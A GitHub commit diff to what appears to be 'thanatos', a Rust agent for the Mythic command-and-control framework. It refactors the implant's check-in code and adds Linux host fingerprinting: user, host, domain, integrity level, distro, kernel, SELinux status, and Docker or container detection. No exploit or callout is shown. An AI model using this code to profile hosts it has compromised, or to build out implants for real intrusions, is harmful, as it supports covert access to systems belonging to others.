Skip to content

Commit

Permalink
Fix Linux issues
Browse files Browse the repository at this point in the history
  • Loading branch information
MEhrn00 committed Feb 23, 2024
1 parent 1e1fcab commit 0fc02f6
Show file tree
Hide file tree
Showing 8 changed files with 141 additions and 157 deletions.
Empty file.
6 changes: 5 additions & 1 deletion Payload_Type/thanatos/agent/thanatos/src/guardrails.rs
Original file line number Diff line number Diff line change
@@ -1,6 +1,10 @@
#![allow(unused)]

use crate::native::system;
#[cfg(target_os = "linux")]
use crate::os::linux as system;

#[cfg(target_os = "windows")]
use crate::os::windows as system;

#[cfg(feature = "crypto-system")]
use cryptolib::hash::system::Sha256;
Expand Down
42 changes: 32 additions & 10 deletions Payload_Type/thanatos/agent/thanatos/src/native/checkininfo.rs
Original file line number Diff line number Diff line change
@@ -1,23 +1,45 @@
use crate::native::system;
use crate::proto::checkin::{checkin_info::PlatformInfo, CheckinInfo};

#[cfg(target_os = "windows")]
pub fn get_checkininfo(uuid: String) -> CheckinInfo {
use crate::proto::checkin::WindowsInfo;
use crate::{native, os::windows, proto::checkin::WindowsInfo};

CheckinInfo {
uuid,
user: system::username().ok(),
host: system::hostname().ok(),
domain: system::domain().ok(),
user: windows::username().ok(),
host: windows::hostname().ok(),
domain: windows::domain().ok(),
pid: Some(std::process::id()),
architecture: system::architecture().into(),
architecture: native::architecture().into(),
platform_info: Some(PlatformInfo::Windows(WindowsInfo {
build: system::build_number(),
product: Some(system::product()),
build: windows::build_number(),
product: Some(windows::product()),
})),
integrity_level: windows::integrity_level(),
process_name: windows::process_name().ok(),
ips: Vec::new(),
}
}

#[cfg(target_os = "linux")]
pub fn get_checkininfo(uuid: String) -> CheckinInfo {
use crate::{native, os::linux, proto::checkin::LinuxInfo};

CheckinInfo {
uuid,
user: linux::username().ok(),
host: linux::hostname().ok(),
domain: linux::domain().ok(),
pid: Some(std::process::id()),
architecture: native::architecture().into(),
integrity_level: linux::integrity_level().ok(),
process_name: linux::process_name().ok(),
platform_info: Some(PlatformInfo::Linux(LinuxInfo {
distro: linux::distro(),
kernel: linux::kernel(),
selinux: linux::selinux_enabled(),
container: linux::container_environment().into(),
})),
integrity_level: system::integrity_level(),
process_name: system::process_name().ok(),
ips: Vec::new(),
}
}
23 changes: 22 additions & 1 deletion Payload_Type/thanatos/agent/thanatos/src/native/mod.rs
Original file line number Diff line number Diff line change
@@ -1,2 +1,23 @@
use crate::proto::checkin::Architecture;

pub mod checkininfo;
pub mod system;

pub fn architecture() -> Architecture {
#[cfg(target_arch = "x86_64")]
let mut arch = Architecture::X8664;

#[cfg(target_arch = "x86")]
let mut arch = Architecture::X86;

#[cfg(target_os = "linux")]
if let Some(new_arch) = crate::os::linux::architecture() {
arch = new_arch;
}

#[cfg(target_os = "windows")]
if let Some(new_arch) = crate::os::windows::architecture() {
arch = new_arch;
}

arch
}
20 changes: 0 additions & 20 deletions Payload_Type/thanatos/agent/thanatos/src/native/system.rs
Original file line number Diff line number Diff line change
Expand Up @@ -9,23 +9,3 @@ pub use crate::os::linux::{
};

use crate::proto::checkin::Architecture;

pub fn architecture() -> Architecture {
#[cfg(target_arch = "x86_64")]
let mut arch = Architecture::X8664;

#[cfg(target_arch = "x86")]
let mut arch = Architecture::X86;

#[cfg(target_os = "linux")]
if let Some(new_arch) = crate::os::linux::architecture() {
arch = new_arch;
}

#[cfg(target_os = "windows")]
if let Some(new_arch) = crate::os::windows::architecture() {
arch = new_arch;
}

arch
}
132 changes: 80 additions & 52 deletions Payload_Type/thanatos/agent/thanatos/src/os/linux/mod.rs
Original file line number Diff line number Diff line change
Expand Up @@ -9,69 +9,71 @@ use ffiwrappers::{
linux::{
addrinfo::{AddrInfoList, AiFlags, Hints},
socket::SockType,
uname,
uname::{self, UtsName},
user::UserInfo,
},
};

mod platform;
pub use platform::platform;
use crate::proto::checkin::{Architecture, ContainerEnv};

use crate::proto::checkin::Architecture;
pub fn container_environment() -> ContainerEnv {
if let Ok(readdir) = std::fs::read_dir("/") {
for entry in readdir.flatten() {
if entry.file_name() == ".dockerenv" {
return ContainerEnv::Docker;
}
}
}

pub fn hostname() -> Result<String, ThanatosError> {
let h = ffiwrappers::linux::gethostname().map_err(ThanatosError::FFIError)?;
Ok(h.split('.').next().unwrap_or(&h).to_string())
}
if let Ok(readdir) = std::fs::read_dir("/run") {
for entry in readdir.flatten() {
if entry.file_name() == ".containerenv" {
return ContainerEnv::Container;
}
}
}

pub fn username() -> Result<String, ThanatosError> {
UserInfo::current_user()
.map(|userinfo| userinfo.username().to_string())
.map_err(ThanatosError::FFIError)
ContainerEnv::None
}

pub fn domain() -> Result<String, ThanatosError> {
let current_host = ffiwrappers::linux::gethostname().map_err(ThanatosError::FFIError)?;
let current_host =
CString::new(current_host).map_err(|_| ThanatosError::FFIError(FfiError::InteriorNull))?;

let addrlist = AddrInfoList::new(
Some(&current_host),
None,
Some(Hints {
socktype: SockType::SockDgram,
flags: AiFlags::CANONNAME,
family: Default::default(),
}),
)
.map_err(ThanatosError::FFIError)?;
// TODO: Return this into a separate initial check in field.
// Parse /proc/self/mountinfo for selinux detection instead of looking for /sys/fs/selinux
pub fn selinux_enabled() -> bool {
if let Ok(readdir) = std::fs::read_dir("/sys/fs") {
for entry in readdir.flatten() {
if entry.file_name() == "selinux" {
return true;
}
}
}

let canonname = addrlist.first().canonname().to_string();
false
}

let mut s = canonname.split('.');
s.next()
.ok_or(ThanatosError::FFIError(FfiError::CanonNameNotFound))?;
Ok(s.collect::<Vec<&str>>().join("."))
pub fn kernel() -> Option<String> {
UtsName::new().ok().map(|u| u.release().to_owned())
}

pub fn os_release() -> Result<OsReleaseInfo, ThanatosError> {
let f = std::fs::File::open("/etc/os-release").map_err(ThanatosError::IoError)?;
pub fn distro() -> Option<String> {
let f = std::fs::File::open("/etc/os-release").ok()?;
let reader = BufReader::new(f);

let mut release_info = OsReleaseInfo::default();
let mut name = String::new();
let mut version = String::new();

for line in reader.lines().map_while(Result::ok) {
if line.starts_with("NAME=") {
let s = line.split('=');
if let Some(name_quoted) = s.last() {
release_info.name = name_quoted[1..name_quoted.len() - 1].to_string();
name = name_quoted[1..name_quoted.len() - 1].to_string();
}
continue;
}

if line.starts_with("VERSION=") {
let s = line.split('=');
if let Some(version_quoted) = s.last() {
release_info.version = version_quoted[1..version_quoted.len() - 1].to_string();
version = version_quoted[1..version_quoted.len() - 1].to_string();
}

continue;
Expand All @@ -80,15 +82,53 @@ pub fn os_release() -> Result<OsReleaseInfo, ThanatosError> {
if line.starts_with("PRETTY_NAME=") {
let s = line.split('=');
if let Some(pretty_name_quoted) = s.last() {
release_info.pretty_name =
Some(pretty_name_quoted[1..pretty_name_quoted.len() - 1].to_string());
return Some(pretty_name_quoted[1..pretty_name_quoted.len() - 1].to_string());
}

continue;
}
}

Ok(release_info)
if name.is_empty() && version.is_empty() {
None
} else {
Some(format!("{} {}", name, version))
}
}

pub fn hostname() -> Result<String, ThanatosError> {
let h = ffiwrappers::linux::gethostname().map_err(ThanatosError::FFIError)?;
Ok(h.split('.').next().unwrap_or(&h).to_string())
}

pub fn username() -> Result<String, ThanatosError> {
UserInfo::current_user()
.map(|userinfo| userinfo.username().to_string())
.map_err(ThanatosError::FFIError)
}

pub fn domain() -> Result<String, ThanatosError> {
let current_host = ffiwrappers::linux::gethostname().map_err(ThanatosError::FFIError)?;
let current_host =
CString::new(current_host).map_err(|_| ThanatosError::FFIError(FfiError::InteriorNull))?;

let addrlist = AddrInfoList::new(
Some(&current_host),
None,
Some(Hints {
socktype: SockType::SockDgram,
flags: AiFlags::CANONNAME,
family: Default::default(),
}),
)
.map_err(ThanatosError::FFIError)?;

let canonname = addrlist.first().canonname().to_string();

let mut s = canonname.split('.');
s.next()
.ok_or(ThanatosError::FFIError(FfiError::CanonNameNotFound))?;
Ok(s.collect::<Vec<&str>>().join("."))
}

pub fn architecture() -> Option<Architecture> {
Expand Down Expand Up @@ -187,16 +227,4 @@ mod tests {

assert_eq!(canonname, fqdn);
}

#[test]
fn platform_test() {
let platform = super::platform();
dbg!(platform);
}

#[test]
fn os_release_test() {
let distro = super::os_release().unwrap();
dbg!(distro);
}
}
71 changes: 0 additions & 71 deletions Payload_Type/thanatos/agent/thanatos/src/os/linux/platform.rs

This file was deleted.

4 changes: 2 additions & 2 deletions Payload_Type/thanatos/mythic/protos/msg/checkin.proto
Original file line number Diff line number Diff line change
Expand Up @@ -24,8 +24,8 @@ enum Architecture {
}

message LinuxInfo {
string distro = 1;
string kernel = 2;
optional string distro = 1;
optional string kernel = 2;
bool selinux = 3;
ContainerEnv container = 4;
}
Expand Down

0 comments on commit 0fc02f6

Please sign in to comment.